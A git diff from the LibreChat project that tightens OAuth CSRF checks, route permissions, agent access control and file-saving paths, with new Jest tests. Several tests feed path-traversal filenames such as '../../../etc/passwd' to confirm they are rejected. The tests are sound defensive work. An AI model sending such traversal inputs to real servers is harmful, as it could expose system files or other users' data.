- hasCsrfCookie: !!req.cookies?.[OAUTH_CSRF_COOKIE],
- hasSessionCookie: !!req.cookies?.[OAUTH_SESSION_COOKIE],
- });
- return res.redirect(`${basePath}/oauth/error?error=csrf_validation_failed`);
+
+ const hasCsrf = validateOAuthCsrf(req, res, flowId, OAUTH_CSRF_COOKIE_PATH);
+ const hasSession = !hasCsrf && validateOAuthSession(req, flowUserId);
+ let hasActiveFlow = false;
+ if (!hasCsrf && !hasSession) {
+ const pendingFlow = await flowManager.getFlowState(flowId, 'mcp_oauth');
+ const pendingAge = pendingFlow?.createdAt ? Date.now() - pendingFlow.createdAt : Infinity;
+ hasActiveFlow = pendingFlow?.status === 'PENDING' && pendingAge < PENDING_STALE_MS;
+ if (hasActiveFlow) {
+ logger.debug(
+ '[MCP OAuth] CSRF/session cookies absent, validating via active PENDING flow',
+ {
+ flowId,
+ },
+ );
+ }
}
- const flowsCache = getLogStores(CacheKeys.FLOWS);
- const flowManager = getFlowStateManager(flowsCache);
+ if (!hasCsrf && !hasSession && !hasActiveFlow) {
+ logger.error(
+ '[MCP OAuth] CSRF validation failed: no valid CSRF cookie, session cookie, or active flow',
+ {
+ flowId,
+ hasCsrfCookie: !!req.cookies?.[OAUTH_CSRF_COOKIE],
+ hasSessionCookie: !!req.cookies?.[OAUTH_SESSION_COOKIE],
+ },
+ );
+ return res.redirect(`${basePath}/oauth/error?error=csrf_validation_failed`);
+ }
logger.debug('[MCP OAuth] Getting flow state for flowId: ' + flowId);
const flowState = await MCPOAuthHandler.getFlowState(flowId, flowManager);
@@ -281,7 +321,13 @@ router.get('/:serverName/oauth/callback', async (req, res) => {
const toolFlowId = flowState.metadata?.toolFlowId;
if (toolFlowId) {
logger.debug('[MCP OAuth] Completing tool flow', { toolFlowId });
- await flowManager.completeFlow(toolFlowId, 'mcp_oauth', tokens);
+ const completed = await flowManager.completeFlow(toolFlowId, 'mcp_oauth', tokens);
+ if (!completed) {
+ logger.warn(
+ '[MCP OAuth] Tool flow state not found during completion — waiter will time out',
+ { toolFlowId },
+ );
+ }
}
/** Redirect to success page with flowId and serverName */
@@ -436,69 +482,75 @@ router.post('/oauth/cancel/:serverName', requireJwtAuth, async (req, res) => {
* Reinitialize MCP server
* This endpoint allows reinitializing a specific MCP server
*/
-router.post('/:serverName/reinitialize', requireJwtAuth, setOAuthSession, async (req, res) => {
- try {
- const { serverName } = req.params;
- const user = createSafeUser(req.user);
+router.post(
+ '/:serverName/reinitialize',
+ requireJwtAuth,
+ checkMCPUsePermissions,
+ setOAuthSession,
+ async (req, res) => {
+ try {
+ const { serverName } = req.params;
+ const user = createSafeUser(req.user);
- if (!user.id) {
- return res.status(401).json({ error: 'User not authenticated' });
- }
+ if (!user.id) {
+ return res.status(401).json({ error: 'User not authenticated' });
+ }
- logger.info(`[MCP Reinitialize] Reinitializing server: ${serverName}`);
+ logger.info(`[MCP Reinitialize] Reinitializing server: ${serverName}`);
- const mcpManager = getMCPManager();
- const serverConfig = await getMCPServersRegistry().getServerConfig(serverName, user.id);
- if (!serverConfig) {
- return res.status(404).json({
- error: `MCP server '${serverName}' not found in configuration`,
+ const mcpManager = getMCPManager();
+ const serverConfig = await getMCPServersRegistry().getServerConfig(serverName, user.id);
+ if (!serverConfig) {
+ return res.status(404).json({
+ error: `MCP server '${serverName}' not found in configuration`,
+ });
+ }
+
+ await mcpManager.disconnectUserConnection(user.id, serverName);
+ logger.info(
+ `[MCP Reinitialize] Disconnected existing user connection for server: ${serverName}`,
+ );
+
+ /** @type {Record> | undefined} */
+ let userMCPAuthMap;
+ if (serverConfig.customUserVars && typeof serverConfig.customUserVars === 'object') {
+ userMCPAuthMap = await getUserMCPAuthMap({
+ userId: user.id,
+ servers: [serverName],
+ findPluginAuthsByKeys,
+ });
+ }
+
+ const result = await reinitMCPServer({
+ user,
+ serverName,
+ userMCPAuthMap,
});
- }
- await mcpManager.disconnectUserConnection(user.id, serverName);
- logger.info(
- `[MCP Reinitialize] Disconnected existing user connection for server: ${serverName}`,
- );
+ if (!result) {
+ return res.status(500).json({ error: 'Failed to reinitialize MCP server for user' });
+ }
- /** @type {Record> | undefined} */
- let userMCPAuthMap;
- if (serverConfig.customUserVars && typeof serverConfig.customUserVars === 'object') {
- userMCPAuthMap = await getUserMCPAuthMap({
- userId: user.id,
- servers: [serverName],
- findPluginAuthsByKeys,
+ const { success, message, oauthRequired, oauthUrl } = result;
+
+ if (oauthRequired) {
+ const flowId = MCPOAuthHandler.generateFlowId(user.id, serverName);
+ setOAuthCsrfCookie(res, flowId, OAUTH_CSRF_COOKIE_PATH);
+ }
+
+ res.json({
+ success,
+ message,
+ oauthUrl,
+ serverName,
+ oauthRequired,
});
+ } catch (error) {
+ logger.error('[MCP Reinitialize] Unexpected error', error);
+ res.status(500).json({ error: 'Internal server error' });
}
-
- const result = await reinitMCPServer({
- user,
- serverName,
- userMCPAuthMap,
- });
-
- if (!result) {
- return res.status(500).json({ error: 'Failed to reinitialize MCP server for user' });
- }
-
- const { success, message, oauthRequired, oauthUrl } = result;
-
- if (oauthRequired) {
- const flowId = MCPOAuthHandler.generateFlowId(user.id, serverName);
- setOAuthCsrfCookie(res, flowId, OAUTH_CSRF_COOKIE_PATH);
- }
-
- res.json({
- success,
- message,
- oauthUrl,
- serverName,
- oauthRequired,
- });
- } catch (error) {
- logger.error('[MCP Reinitialize] Unexpected error', error);
- res.status(500).json({ error: 'Internal server error' });
- }
-});
+ },
+);
/**
* Get connection status for all MCP servers
@@ -605,7 +657,7 @@ router.get('/connection/status/:serverName', requireJwtAuth, async (req, res) =>
* Check which authentication values exist for a specific MCP server
* This endpoint returns only boolean flags indicating if values are set, not the actual values
*/
-router.get('/:serverName/auth-values', requireJwtAuth, async (req, res) => {
+router.get('/:serverName/auth-values', requireJwtAuth, checkMCPUsePermissions, async (req, res) => {
try {
const { serverName } = req.params;
const user = req.user;
@@ -662,19 +714,6 @@ async function getOAuthHeaders(serverName, userId) {
MCP Server CRUD Routes (User-Managed MCP Servers)
*/
-// Permission checkers for MCP server management
-const checkMCPUsePermissions = generateCheckAccess({
- permissionType: PermissionTypes.MCP_SERVERS,
- permissions: [Permissions.USE],
- getRoleByName,
-});
-
-const checkMCPCreate = generateCheckAccess({
- permissionType: PermissionTypes.MCP_SERVERS,
- permissions: [Permissions.USE, Permissions.CREATE],
- getRoleByName,
-});
-
/**
* Get list of accessible MCP servers
* @route GET /api/mcp/servers
diff --git a/api/server/routes/messages.js b/api/server/routes/messages.js
index c208e9c406..03286bc7f1 100644
--- a/api/server/routes/messages.js
+++ b/api/server/routes/messages.js
@@ -404,8 +404,8 @@ router.put('/:conversationId/:messageId/feedback', validateMessageReq, async (re
router.delete('/:conversationId/:messageId', validateMessageReq, async (req, res) => {
try {
- const { messageId } = req.params;
- await deleteMessages({ messageId });
+ const { conversationId, messageId } = req.params;
+ await deleteMessages({ messageId, conversationId, user: req.user.id });
res.status(204).send();
} catch (error) {
logger.error('Error deleting message:', error);
diff --git a/api/server/routes/share.js b/api/server/routes/share.js
index 6400b8b637..296644afde 100644
--- a/api/server/routes/share.js
+++ b/api/server/routes/share.js
@@ -19,9 +19,7 @@ const allowSharedLinks =
process.env.ALLOW_SHARED_LINKS === undefined || isEnabled(process.env.ALLOW_SHARED_LINKS);
if (allowSharedLinks) {
- const allowSharedLinksPublic =
- process.env.ALLOW_SHARED_LINKS_PUBLIC === undefined ||
- isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC);
+ const allowSharedLinksPublic = isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC);
router.get(
'/:shareId',
allowSharedLinksPublic ? (req, res, next) => next() : requireJwtAuth,
diff --git a/api/server/services/Endpoints/agents/addedConvo.js b/api/server/services/Endpoints/agents/addedConvo.js
index 7e9385267a..11b87e450e 100644
--- a/api/server/services/Endpoints/agents/addedConvo.js
+++ b/api/server/services/Endpoints/agents/addedConvo.js
@@ -1,6 +1,7 @@
const { logger } = require('@librechat/data-schemas');
const { initializeAgent, validateAgentModel } = require('@librechat/api');
const { loadAddedAgent, setGetAgent, ADDED_AGENT_ID } = require('~/models/loadAddedAgent');
+const { filterFilesByAgentAccess } = require('~/server/services/Files/permissions');
const { getConvoFiles } = require('~/models/Conversation');
const { getAgent } = require('~/models/Agent');
const db = require('~/models');
@@ -55,16 +56,16 @@ const processAddedConvo = async ({
userMCPAuthMap,
}) => {
const addedConvo = endpointOption.addedConvo;
- logger.debug('[processAddedConvo] Called with addedConvo:', {
- hasAddedConvo: addedConvo != null,
- addedConvoEndpoint: addedConvo?.endpoint,
- addedConvoModel: addedConvo?.model,
- addedConvoAgentId: addedConvo?.agent_id,
- });
if (addedConvo == null) {
return { userMCPAuthMap };
}
+ logger.debug('[processAddedConvo] Processing added conversation', {
+ model: addedConvo.model,
+ agentId: addedConvo.agent_id,
+ endpoint: addedConvo.endpoint,
+ });
+
try {
const addedAgent = await loadAddedAgent({ req, conversation: addedConvo, primaryAgent });
if (!addedAgent) {
@@ -108,6 +109,7 @@ const processAddedConvo = async ({
getUserKeyValues: db.getUserKeyValues,
getToolFilesByIds: db.getToolFilesByIds,
getCodeGeneratedFiles: db.getCodeGeneratedFiles,
+ filterFilesByAgentAccess,
},
);
diff --git a/api/server/services/Endpoints/agents/initialize.js b/api/server/services/Endpoints/agents/initialize.js
index 0888f23cd5..08f631c3d2 100644
--- a/api/server/services/Endpoints/agents/initialize.js
+++ b/api/server/services/Endpoints/agents/initialize.js
@@ -10,6 +10,8 @@ const {
createSequentialChainEdges,
} = require('@librechat/api');
const {
+ ResourceType,
+ PermissionBits,
EModelEndpoint,
isAgentsEndpoint,
getResponseSender,
@@ -20,7 +22,9 @@ const {
getDefaultHandlers,
} = require('~/server/controllers/agents/callbacks');
const { loadAgentTools, loadToolsForExecution } = require('~/server/services/ToolService');
+const { filterFilesByAgentAccess } = require('~/server/services/Files/permissions');
const { getModelsConfig } = require('~/server/controllers/ModelController');
+const { checkPermission } = require('~/server/services/PermissionService');
const AgentClient = require('~/server/controllers/agents/client');
const { getConvoFiles } = require('~/models/Conversation');
const { processAddedConvo } = require('./addedConvo');
@@ -125,6 +129,7 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
toolRegistry: ctx.toolRegistry,
userMCPAuthMap: ctx.userMCPAuthMap,
tool_resources: ctx.tool_resources,
+ actionsEnabled: ctx.actionsEnabled,
});
logger.debug(`[ON_TOOL_EXECUTE] loaded ${result.loadedTools?.length ?? 0} tools`);
@@ -200,23 +205,19 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
getUserCodeFiles: db.getUserCodeFiles,
getToolFilesByIds: db.getToolFilesByIds,
getCodeGeneratedFiles: db.getCodeGeneratedFiles,
+ filterFilesByAgentAccess,
},
);
logger.debug(
- `[initializeClient] Tool definitions for primary agent: ${primaryConfig.toolDefinitions?.length ?? 0}`,
- );
-
- /** Store primary agent's tool context for ON_TOOL_EXECUTE callback */
- logger.debug(`[initializeClient] Storing tool context for agentId: ${primaryConfig.id}`);
- logger.debug(
- `[initializeClient] toolRegistry size: ${primaryConfig.toolRegistry?.size ?? 'undefined'}`,
+ `[initializeClient] Storing tool context for ${primaryConfig.id}: ${primaryConfig.toolDefinitions?.length ?? 0} tools, registry size: ${primaryConfig.toolRegistry?.size ?? '0'}`,
);
agentToolContexts.set(primaryConfig.id, {
agent: primaryAgent,
toolRegistry: primaryConfig.toolRegistry,
userMCPAuthMap: primaryConfig.userMCPAuthMap,
tool_resources: primaryConfig.tool_resources,
+ actionsEnabled: primaryConfig.actionsEnabled,
});
const agent_ids = primaryConfig.agent_ids;
@@ -235,6 +236,22 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
return null;
}
+ const hasAccess = await checkPermission({
+ userId: req.user.id,
+ role: req.user.role,
+ resourceType: ResourceType.AGENT,
+ resourceId: agent._id,
+ requiredPermission: PermissionBits.VIEW,
+ });
+
+ if (!hasAccess) {
+ logger.warn(
+ `[processAgent] User ${req.user.id} lacks VIEW access to handoff agent ${agentId}, skipping`,
+ );
+ skippedAgentIds.add(agentId);
+ return null;
+ }
+
const validationResult = await validateAgentModel({
req,
res,
@@ -269,6 +286,7 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
getUserCodeFiles: db.getUserCodeFiles,
getToolFilesByIds: db.getToolFilesByIds,
getCodeGeneratedFiles: db.getCodeGeneratedFiles,
+ filterFilesByAgentAccess,
},
);
@@ -284,6 +302,7 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
toolRegistry: config.toolRegistry,
userMCPAuthMap: config.userMCPAuthMap,
tool_resources: config.tool_resources,
+ actionsEnabled: config.actionsEnabled,
});
agentConfigs.set(agentId, config);
@@ -312,6 +331,7 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
}
} catch (err) {
logger.error(`[initializeClient] Error processing agent ${agentId}:`, err);
+ skippedAgentIds.add(agentId);
}
}
@@ -321,7 +341,12 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
if (checkAgentInit(agentId)) {
continue;
}
- await processAgent(agentId);
+ try {
+ await processAgent(agentId);
+ } catch (err) {
+ logger.error(`[initializeClient] Error processing chain agent ${agentId}:`, err);
+ skippedAgentIds.add(agentId);
+ }
}
const chain = await createSequentialChainEdges([primaryConfig.id].concat(agent_ids), '{convo}');
collectEdges(chain);
@@ -351,6 +376,19 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
userMCPAuthMap = updatedMCPAuthMap;
}
+ for (const [agentId, config] of agentConfigs) {
+ if (agentToolContexts.has(agentId)) {
+ continue;
+ }
+ agentToolContexts.set(agentId, {
+ agent: config,
+ toolRegistry: config.toolRegistry,
+ userMCPAuthMap: config.userMCPAuthMap,
+ tool_resources: config.tool_resources,
+ actionsEnabled: config.actionsEnabled,
+ });
+ }
+
// Ensure edges is an array when we have multiple agents (multi-agent mode)
// MultiAgentGraph.categorizeEdges requires edges to be iterable
if (agentConfigs.size > 0 && !edges) {
diff --git a/api/server/services/Endpoints/agents/initialize.spec.js b/api/server/services/Endpoints/agents/initialize.spec.js
new file mode 100644
index 0000000000..16b41aca65
--- /dev/null
+++ b/api/server/services/Endpoints/agents/initialize.spec.js
@@ -0,0 +1,201 @@
+const mongoose = require('mongoose');
+const {
+ ResourceType,
+ PermissionBits,
+ PrincipalType,
+ PrincipalModel,
+} = require('librechat-data-provider');
+const { MongoMemoryServer } = require('mongodb-memory-server');
+
+const mockInitializeAgent = jest.fn();
+const mockValidateAgentModel = jest.fn();
+
+jest.mock('@librechat/agents', () => ({
+ ...jest.requireActual('@librechat/agents'),
+ createContentAggregator: jest.fn(() => ({
+ contentParts: [],
+ aggregateContent: jest.fn(),
+ })),
+}));
+
+jest.mock('@librechat/api', () => ({
+ ...jest.requireActual('@librechat/api'),
+ initializeAgent: (...args) => mockInitializeAgent(...args),
+ validateAgentModel: (...args) => mockValidateAgentModel(...args),
+ GenerationJobManager: { setCollectedUsage: jest.fn() },
+ getCustomEndpointConfig: jest.fn(),
+ createSequentialChainEdges: jest.fn(),
+}));
+
+jest.mock('~/server/controllers/agents/callbacks', () => ({
+ createToolEndCallback: jest.fn(() => jest.fn()),
+ getDefaultHandlers: jest.fn(() => ({})),
+}));
+
+jest.mock('~/server/services/ToolService', () => ({
+ loadAgentTools: jest.fn(),
+ loadToolsForExecution: jest.fn(),
+}));
+
+jest.mock('~/server/controllers/ModelController', () => ({
+ getModelsConfig: jest.fn().mockResolvedValue({}),
+}));
+
+let agentClientArgs;
+jest.mock('~/server/controllers/agents/client', () => {
+ return jest.fn().mockImplementation((args) => {
+ agentClientArgs = args;
+ return {};
+ });
+});
+
+jest.mock('./addedConvo', () => ({
+ processAddedConvo: jest.fn().mockResolvedValue({ userMCPAuthMap: undefined }),
+}));
+
+jest.mock('~/cache', () => ({
+ logViolation: jest.fn(),
+}));
+
+const { initializeClient } = require('./initialize');
+const { createAgent } = require('~/models/Agent');
+const { User, AclEntry } = require('~/db/models');
+
+const PRIMARY_ID = 'agent_primary';
+const TARGET_ID = 'agent_target';
+const AUTHORIZED_ID = 'agent_authorized';
+
+describe('initializeClient — processAgent ACL gate', () => {
+ let mongoServer;
+ let testUser;
+
+ beforeAll(async () => {
+ mongoServer = await MongoMemoryServer.create();
+ await mongoose.connect(mongoServer.getUri());
+ });
+
+ afterAll(async () => {
+ await mongoose.disconnect();
+ await mongoServer.stop();
+ });
+
+ beforeEach(async () => {
+ await mongoose.connection.dropDatabase();
+ jest.clearAllMocks();
+ agentClientArgs = undefined;
+
+ testUser = await User.create({
+ email: 'test@example.com',
+ name: 'Test User',
+ username: 'testuser',
+ role: 'USER',
+ });
+
+ mockValidateAgentModel.mockResolvedValue({ isValid: true });
+ });
+
+ const makeReq = () => ({
+ user: { id: testUser._id.toString(), role: 'USER' },
+ body: { conversationId: 'conv_1', files: [] },
+ config: { endpoints: {} },
+ _resumableStreamId: null,
+ });
+
+ const makeEndpointOption = () => ({
+ agent: Promise.resolve({
+ id: PRIMARY_ID,
+ name: 'Primary',
+ provider: 'openai',
+ model: 'gpt-4',
+ tools: [],
+ }),
+ model_parameters: { model: 'gpt-4' },
+ endpoint: 'agents',
+ });
+
+ const makePrimaryConfig = (edges) => ({
+ id: PRIMARY_ID,
+ endpoint: 'agents',
+ edges,
+ toolDefinitions: [],
+ toolRegistry: new Map(),
+ userMCPAuthMap: null,
+ tool_resources: {},
+ resendFiles: true,
+ maxContextTokens: 4096,
+ });
+
+ it('should skip handoff agent and filter its edge when user lacks VIEW access', async () => {
+ await createAgent({
+ id: TARGET_ID,
+ name: 'Target Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: new mongoose.Types.ObjectId(),
+ tools: [],
+ });
+
+ const edges = [{ from: PRIMARY_ID, to: TARGET_ID, edgeType: 'handoff' }];
+ mockInitializeAgent.mockResolvedValue(makePrimaryConfig(edges));
+
+ await initializeClient({
+ req: makeReq(),
+ res: {},
+ signal: new AbortController().signal,
+ endpointOption: makeEndpointOption(),
+ });
+
+ expect(mockInitializeAgent).toHaveBeenCalledTimes(1);
+ expect(agentClientArgs.agent.edges).toEqual([]);
+ });
+
+ it('should initialize handoff agent and keep its edge when user has VIEW access', async () => {
+ const authorizedAgent = await createAgent({
+ id: AUTHORIZED_ID,
+ name: 'Authorized Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: new mongoose.Types.ObjectId(),
+ tools: [],
+ });
+
+ await AclEntry.create({
+ principalType: PrincipalType.USER,
+ principalId: testUser._id,
+ principalModel: PrincipalModel.USER,
+ resourceType: ResourceType.AGENT,
+ resourceId: authorizedAgent._id,
+ permBits: PermissionBits.VIEW,
+ grantedBy: testUser._id,
+ });
+
+ const edges = [{ from: PRIMARY_ID, to: AUTHORIZED_ID, edgeType: 'handoff' }];
+ const handoffConfig = {
+ id: AUTHORIZED_ID,
+ edges: [],
+ toolDefinitions: [],
+ toolRegistry: new Map(),
+ userMCPAuthMap: null,
+ tool_resources: {},
+ };
+
+ let callCount = 0;
+ mockInitializeAgent.mockImplementation(() => {
+ callCount++;
+ return callCount === 1
+ ? Promise.resolve(makePrimaryConfig(edges))
+ : Promise.resolve(handoffConfig);
+ });
+
+ await initializeClient({
+ req: makeReq(),
+ res: {},
+ signal: new AbortController().signal,
+ endpointOption: makeEndpointOption(),
+ });
+
+ expect(mockInitializeAgent).toHaveBeenCalledTimes(2);
+ expect(agentClientArgs.agent.edges).toHaveLength(1);
+ expect(agentClientArgs.agent.edges[0].to).toBe(AUTHORIZED_ID);
+ });
+});
diff --git a/api/server/services/Files/Code/__tests__/process-traversal.spec.js b/api/server/services/Files/Code/__tests__/process-traversal.spec.js
new file mode 100644
index 0000000000..2db366d06b
--- /dev/null
+++ b/api/server/services/Files/Code/__tests__/process-traversal.spec.js
@@ -0,0 +1,124 @@
+jest.mock('uuid', () => ({ v4: jest.fn(() => 'mock-uuid') }));
+
+jest.mock('@librechat/data-schemas', () => ({
+ logger: { warn: jest.fn(), debug: jest.fn(), error: jest.fn() },
+}));
+
+jest.mock('@librechat/agents', () => ({
+ getCodeBaseURL: jest.fn(() => 'http://localhost:8000'),
+}));
+
+const mockSanitizeFilename = jest.fn();
+
+jest.mock('@librechat/api', () => ({
+ logAxiosError: jest.fn(),
+ getBasePath: jest.fn(() => ''),
+ sanitizeFilename: mockSanitizeFilename,
+}));
+
+jest.mock('librechat-data-provider', () => ({
+ ...jest.requireActual('librechat-data-provider'),
+ mergeFileConfig: jest.fn(() => ({ serverFileSizeLimit: 100 * 1024 * 1024 })),
+ getEndpointFileConfig: jest.fn(() => ({
+ fileSizeLimit: 100 * 1024 * 1024,
+ supportedMimeTypes: ['*/*'],
+ })),
+ fileConfig: { checkType: jest.fn(() => true) },
+}));
+
+jest.mock('~/models', () => ({
+ createFile: jest.fn().mockResolvedValue({}),
+ getFiles: jest.fn().mockResolvedValue([]),
+ updateFile: jest.fn(),
+ claimCodeFile: jest.fn().mockResolvedValue({ file_id: 'mock-uuid', usage: 0 }),
+}));
+
+const mockSaveBuffer = jest.fn().mockResolvedValue('/uploads/user123/mock-uuid__output.csv');
+
+jest.mock('~/server/services/Files/strategies', () => ({
+ getStrategyFunctions: jest.fn(() => ({
+ saveBuffer: mockSaveBuffer,
+ })),
+}));
+
+jest.mock('~/server/services/Files/permissions', () => ({
+ filterFilesByAgentAccess: jest.fn().mockResolvedValue([]),
+}));
+
+jest.mock('~/server/services/Files/images/convert', () => ({
+ convertImage: jest.fn(),
+}));
+
+jest.mock('~/server/utils', () => ({
+ determineFileType: jest.fn().mockResolvedValue({ mime: 'text/csv' }),
+}));
+
+jest.mock('axios', () =>
+ jest.fn().mockResolvedValue({
+ data: Buffer.from('file-content'),
+ }),
+);
+
+const { createFile } = require('~/models');
+const { processCodeOutput } = require('../process');
+
+const baseParams = {
+ req: {
+ user: { id: 'user123' },
+ config: {
+ fileStrategy: 'local',
+ imageOutputType: 'webp',
+ fileConfig: {},
+ },
+ },
+ id: 'code-file-id',
+ apiKey: 'test-key',
+ toolCallId: 'tool-1',
+ conversationId: 'conv-1',
+ messageId: 'msg-1',
+ session_id: 'session-1',
+};
+
+describe('processCodeOutput path traversal protection', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ });
+
+ test('sanitizeFilename is called with the raw artifact name', async () => {
+ mockSanitizeFilename.mockReturnValueOnce('output.csv');
+ await processCodeOutput({ ...baseParams, name: 'output.csv' });
+ expect(mockSanitizeFilename).toHaveBeenCalledWith('output.csv');
+ });
+
+ test('sanitized name is used in saveBuffer fileName', async () => {
+ mockSanitizeFilename.mockReturnValueOnce('sanitized-name.txt');
+ await processCodeOutput({ ...baseParams, name: '../../../tmp/poc.txt' });
+
+ expect(mockSanitizeFilename).toHaveBeenCalledWith('../../../tmp/poc.txt');
+ const call = mockSaveBuffer.mock.calls[0][0];
+ expect(call.fileName).toBe('mock-uuid__sanitized-name.txt');
+ });
+
+ test('sanitized name is stored as filename in the file record', async () => {
+ mockSanitizeFilename.mockReturnValueOnce('safe-output.csv');
+ await processCodeOutput({ ...baseParams, name: 'unsafe/../../output.csv' });
+
+ const fileArg = createFile.mock.calls[0][0];
+ expect(fileArg.filename).toBe('safe-output.csv');
+ });
+
+ test('sanitized name is used for image file records', async () => {
+ const { convertImage } = require('~/server/services/Files/images/convert');
+ convertImage.mockResolvedValueOnce({
+ filepath: '/images/user123/mock-uuid.webp',
+ bytes: 100,
+ });
+
+ mockSanitizeFilename.mockReturnValueOnce('safe-chart.png');
+ await processCodeOutput({ ...baseParams, name: '../../../chart.png' });
+
+ expect(mockSanitizeFilename).toHaveBeenCalledWith('../../../chart.png');
+ const fileArg = createFile.mock.calls[0][0];
+ expect(fileArg.filename).toBe('safe-chart.png');
+ });
+});
diff --git a/api/server/services/Files/Code/process.js b/api/server/services/Files/Code/process.js
index 3f0bfcfc87..e878b00255 100644
--- a/api/server/services/Files/Code/process.js
+++ b/api/server/services/Files/Code/process.js
@@ -3,7 +3,7 @@ const { v4 } = require('uuid');
const axios = require('axios');
const { logger } = require('@librechat/data-schemas');
const { getCodeBaseURL } = require('@librechat/agents');
-const { logAxiosError, getBasePath } = require('@librechat/api');
+const { logAxiosError, getBasePath, sanitizeFilename } = require('@librechat/api');
const {
Tools,
megabyte,
@@ -146,6 +146,13 @@ const processCodeOutput = async ({
);
}
+ const safeName = sanitizeFilename(name);
+ if (safeName !== name) {
+ logger.warn(
+ `[processCodeOutput] Filename sanitized: "${name}" -> "${safeName}" | conv=${conversationId}`,
+ );
+ }
+
if (isImage) {
const usage = isUpdate ? (claimed.usage ?? 0) + 1 : 1;
const _file = await convertImage(req, buffer, 'high', `${file_id}${fileExt}`);
@@ -156,7 +163,7 @@ const processCodeOutput = async ({
file_id,
messageId,
usage,
- filename: name,
+ filename: safeName,
conversationId,
user: req.user.id,
type: `image/${appConfig.imageOutputType}`,
@@ -200,7 +207,7 @@ const processCodeOutput = async ({
);
}
- const fileName = `${file_id}__${name}`;
+ const fileName = `${file_id}__${safeName}`;
const filepath = await saveBuffer({
userId: req.user.id,
buffer,
@@ -213,7 +220,7 @@ const processCodeOutput = async ({
filepath,
messageId,
object: 'file',
- filename: name,
+ filename: safeName,
type: mimeType,
conversationId,
user: req.user.id,
@@ -229,6 +236,11 @@ const processCodeOutput = async ({
await createFile(file, true);
return Object.assign(file, { messageId, toolCallId });
} catch (error) {
+ if (error?.message === 'Path traversal detected in filename') {
+ logger.warn(
+ `[processCodeOutput] Path traversal blocked for file "${name}" | conv=${conversationId}`,
+ );
+ }
logAxiosError({
message: 'Error downloading/processing code environment file',
error,
diff --git a/api/server/services/Files/Code/process.spec.js b/api/server/services/Files/Code/process.spec.js
index f01a623f90..b89a6c6307 100644
--- a/api/server/services/Files/Code/process.spec.js
+++ b/api/server/services/Files/Code/process.spec.js
@@ -58,6 +58,7 @@ jest.mock('@librechat/agents', () => ({
jest.mock('@librechat/api', () => ({
logAxiosError: jest.fn(),
getBasePath: jest.fn(() => ''),
+ sanitizeFilename: jest.fn((name) => name),
}));
// Mock models
diff --git a/api/server/services/Files/Local/__tests__/crud-traversal.spec.js b/api/server/services/Files/Local/__tests__/crud-traversal.spec.js
new file mode 100644
index 0000000000..57ba221d68
--- /dev/null
+++ b/api/server/services/Files/Local/__tests__/crud-traversal.spec.js
@@ -0,0 +1,69 @@
+jest.mock('@librechat/api', () => ({ deleteRagFile: jest.fn() }));
+jest.mock('@librechat/data-schemas', () => ({
+ logger: { warn: jest.fn(), error: jest.fn() },
+}));
+
+const mockTmpBase = require('fs').mkdtempSync(
+ require('path').join(require('os').tmpdir(), 'crud-traversal-'),
+);
+
+jest.mock('~/config/paths', () => {
+ const path = require('path');
+ return {
+ publicPath: path.join(mockTmpBase, 'public'),
+ uploads: path.join(mockTmpBase, 'uploads'),
+ };
+});
+
+const fs = require('fs');
+const path = require('path');
+const { saveLocalBuffer } = require('../crud');
+
+describe('saveLocalBuffer path containment', () => {
+ beforeAll(() => {
+ fs.mkdirSync(path.join(mockTmpBase, 'public', 'images'), { recursive: true });
+ fs.mkdirSync(path.join(mockTmpBase, 'uploads'), { recursive: true });
+ });
+
+ afterAll(() => {
+ fs.rmSync(mockTmpBase, { recursive: true, force: true });
+ });
+
+ test('rejects filenames with path traversal sequences', async () => {
+ await expect(
+ saveLocalBuffer({
+ userId: 'user1',
+ buffer: Buffer.from('malicious'),
+ fileName: '../../../etc/passwd',
+ basePath: 'uploads',
+ }),
+ ).rejects.toThrow('Path traversal detected in filename');
+ });
+
+ test('rejects prefix-collision traversal (startsWith bypass)', async () => {
+ fs.mkdirSync(path.join(mockTmpBase, 'uploads', 'user10'), { recursive: true });
+ await expect(
+ saveLocalBuffer({
+ userId: 'user1',
+ buffer: Buffer.from('malicious'),
+ fileName: '../user10/evil',
+ basePath: 'uploads',
+ }),
+ ).rejects.toThrow('Path traversal detected in filename');
+ });
+
+ test('allows normal filenames', async () => {
+ const result = await saveLocalBuffer({
+ userId: 'user1',
+ buffer: Buffer.from('safe content'),
+ fileName: 'file-id__output.csv',
+ basePath: 'uploads',
+ });
+
+ expect(result).toBe('/uploads/user1/file-id__output.csv');
+
+ const filePath = path.join(mockTmpBase, 'uploads', 'user1', 'file-id__output.csv');
+ expect(fs.existsSync(filePath)).toBe(true);
+ fs.unlinkSync(filePath);
+ });
+});
diff --git a/api/server/services/Files/Local/crud.js b/api/server/services/Files/Local/crud.js
index 1f38a01f83..c86774d472 100644
--- a/api/server/services/Files/Local/crud.js
+++ b/api/server/services/Files/Local/crud.js
@@ -78,7 +78,13 @@ async function saveLocalBuffer({ userId, buffer, fileName, basePath = 'images' }
fs.mkdirSync(directoryPath, { recursive: true });
}
- fs.writeFileSync(path.join(directoryPath, fileName), buffer);
+ const resolvedDir = path.resolve(directoryPath);
+ const resolvedPath = path.resolve(resolvedDir, fileName);
+ const rel = path.relative(resolvedDir, resolvedPath);
+ if (rel.startsWith('..') || path.isAbsolute(rel) || rel.includes(`..${path.sep}`)) {
+ throw new Error('Path traversal detected in filename');
+ }
+ fs.writeFileSync(resolvedPath, buffer);
const filePath = path.posix.join('/', basePath, userId, fileName);
@@ -165,9 +171,8 @@ async function getLocalFileURL({ fileName, basePath = 'images' }) {
}
/**
- * Validates if a given filepath is within a specified subdirectory under a base path. This function constructs
- * the expected base path using the base, subfolder, and user id from the request, and then checks if the
- * provided filepath starts with this constructed base path.
+ * Validates that a filepath is strictly contained within a subdirectory under a base path,
+ * using path.relative to prevent prefix-collision bypasses.
*
* @param {ServerRequest} req - The request object from Express. It should contain a `user` property with an `id`.
* @param {string} base - The base directory path.
